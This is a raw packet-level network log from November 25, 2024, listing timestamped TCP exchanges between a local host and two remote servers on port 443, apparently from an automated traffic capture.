Nov 25, 2024 18:29:50.014873028 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.014887094 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.014910936 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.014916897 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.017833948 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.017863035 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.017986059 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.018134117 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.018146038 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.018775940 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.019129992 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.019143105 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.019550085 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.019556046 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.262978077 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.263423920 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.263446093 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.263869047 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.263875008 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.466943026 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.470155954 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.470216036 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.470279932 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.470303059 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.470318079 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.470333099 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.472767115 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.472799063 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.472875118 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.473011971 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.473031044 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.727066994 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.727142096 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.727277994 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.727277040 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.727344036 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.727579117 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.727595091 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.727605104 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.727611065 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.730571032 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.730623960 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.730709076 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.730871916 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.730886936 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.888411999 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.888998985 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.889034986 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.889403105 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:50.889410019 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.345423937 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.348844051 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.349009037 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.349009037 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.349009037 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.351800919 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.351835012 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.351921082 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.352099895 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.352113008 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.462665081 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.463253021 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.463284016 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.463738918 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.463743925 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.653392076 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.653417110 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.881839991 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.882529974 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.882541895 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.882946968 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.882951021 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.915576935 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.918701887 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.918793917 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.918833017 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.918848038 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.921987057 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.922013044 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:51.922100067 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.922286987 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:51.922298908 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.303932905 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.304375887 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.304398060 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.304831982 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.304838896 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.340517998 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.343354940 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.343417883 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.343420982 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.343585014 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.343585014 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.343585014 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.346206903 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.346239090 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.346330881 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.346457005 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.346468925 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.581743956 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.582277060 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.582294941 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.582726955 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.582731962 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.656946898 CET	50028	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.656966925 CET	443	50028	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.761821985 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.765136003 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.765322924 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.765322924 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.765322924 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.767832041 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.767880917 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:52.767975092 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.768135071 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:52.768147945 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.028887033 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.031843901 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.031966925 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.032021999 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.032037020 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.032084942 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.032100916 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.032109976 CET	50030	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.032114983 CET	443	50030	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.035089016 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.035119057 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.035192966 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.035335064 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.035350084 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.075411081 CET	50029	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.075431108 CET	443	50029	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.166692972 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.167350054 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.167366028 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.167706966 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.167712927 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.711401939 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.712009907 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.712049007 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.712487936 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.712493896 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.736860037 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.739970922 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.740057945 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.740102053 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.740119934 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.740139961 CET	50031	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.740145922 CET	443	50031	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.742933035 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.742955923 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:53.743031979 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.743175030 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:53.743186951 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.171813965 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.171900034 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.171973944 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.173655033 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.173675060 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.173691034 CET	50032	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.173698902 CET	443	50032	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.179251909 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.179287910 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.179384947 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.179776907 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.179789066 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.181067944 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.184356928 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.184386969 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.185264111 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.185269117 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.620743036 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.630492926 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.633567095 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.633626938 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.633671045 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.633713007 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.675620079 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.700838089 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.700848103 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.701204062 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.701220989 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.701231956 CET	50033	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.701237917 CET	443	50033	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.701304913 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.701309919 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.705019951 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.705055952 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.705112934 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.705251932 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.705276012 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.829212904 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.829668999 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.829684019 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:54.830121040 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:54.830126047 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.119168997 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.119249105 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.119455099 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.119549990 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.119568110 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.119580984 CET	50034	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.119585991 CET	443	50034	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.123615026 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.123657942 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.123742104 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.123888016 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.123902082 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.276038885 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.279352903 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.279470921 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.279633045 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.279633045 CET	50035	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.279649019 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.279659033 CET	443	50035	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.282247066 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.282309055 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.282403946 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.282586098 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.282601118 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.477946997 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.478477001 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.478502035 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.478986979 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.478991985 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.921439886 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.922658920 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.923082113 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.923110962 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.923552036 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.923559904 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.924635887 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.924685001 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.924702883 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.924753904 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.924799919 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.924820900 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.924834013 CET	50036	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.924839973 CET	443	50036	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.927788019 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.927825928 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:55.927892923 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.928014040 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:55.928029060 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.499258041 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.499898911 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.499938011 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.500435114 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.500443935 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.505748987 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.509697914 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.509756088 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.509826899 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.509846926 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.509866953 CET	50037	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.509872913 CET	443	50037	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.512459993 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.512506008 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.512572050 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.512703896 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.512722015 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.914321899 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.914963961 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.914989948 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.915342093 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.915347099 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.949429035 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.952656031 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.952723026 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.952722073 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.952778101 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.968905926 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.968936920 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.969065905 CET	50038	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.969074011 CET	443	50038	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.973298073 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.973359108 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:56.973468065 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.973607063 CET	50043	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:56.973624945 CET	443	50043	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.047287941 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.068295002 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.068320036 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.087021112 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.087038994 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.372802019 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.376090050 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.376173019 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.376264095 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.376272917 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.376288891 CET	50039	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.376295090 CET	443	50039	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.379122972 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.379190922 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.379288912 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.379465103 CET	50044	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.379483938 CET	443	50044	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.494343042 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.497580051 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.497638941 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.497716904 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.497737885 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.497749090 CET	50040	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.497755051 CET	443	50040	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.501339912 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.501429081 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.501508951 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.501719952 CET	50045	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.501732111 CET	443	50045	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.717952013 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.718544006 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.718595028 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:57.719012022 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:57.719023943 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.194173098 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.194241047 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.194298029 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.194504023 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.194518089 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.194525957 CET	50041	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.194530964 CET	443	50041	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.197552919 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.197596073 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.197699070 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.197865963 CET	50046	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.197879076 CET	443	50046	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.346245050 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.350667000 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.350703001 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.351113081 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.351119995 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.776247025 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:58.776315928 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:58.776398897 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:58.819086075 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.819107056 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.819142103 CET	443	50042	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:58.819190025 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.819246054 CET	50042	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:58.819382906 CET	50042	443	192.168.2.6	13.107.246.63
